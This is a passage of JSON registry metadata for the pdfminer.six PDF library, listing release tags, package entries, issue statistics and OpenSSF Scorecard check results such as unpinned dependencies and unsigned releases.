eload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:09.899Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":18.95138654990457,"stargazers_count":3.2053441113730776,"forks_count":1.9984282025373303,"average":6.038789715953745},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.17","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":305,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-01T06:59:32.569Z","updated_at":"2023-02-01T06:59:32.569Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.17","url":"https://pkgs.alpinelinux.org/packages?branch=v3.17","ecosystem":"alpine","default":false,"packages_count":17817,"maintainers_count":352,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.642Z","updated_at":"2026-04-27T18:20:23.689Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.17/namespaces"}},{"id":11038117,"name":"pdfminer.six.reducto","ecosystem":"pypi","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["pdf parser","pdf converter","layout analysis","text mining"],"namespace":null,"versions_count":1,"first_release_published_at":"2024-11-13T01:17:57.000Z","latest_release_published_at":"2024-11-13T01:17:57.000Z","latest_release_number":"0.0.1","last_synced_at":"2026-04-25T10:48:23.131Z","created_at":"2024-11-13T01:31:51.917Z","updated_at":"2026-04-25T10:55:00.647Z","registry_url":"https://pypi.org/project/pdfminer.six.reducto/","install_command":"pip install pdfminer.six.reducto --index-url https://pypi.org/simple","documentation_url":"https://pdfminer.six.reducto.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Science/Research","License :: OSI Approved :: MIT License","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Topic :: Text Processing"],"normalized_name":"pdfminer-six-reducto","project_status":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 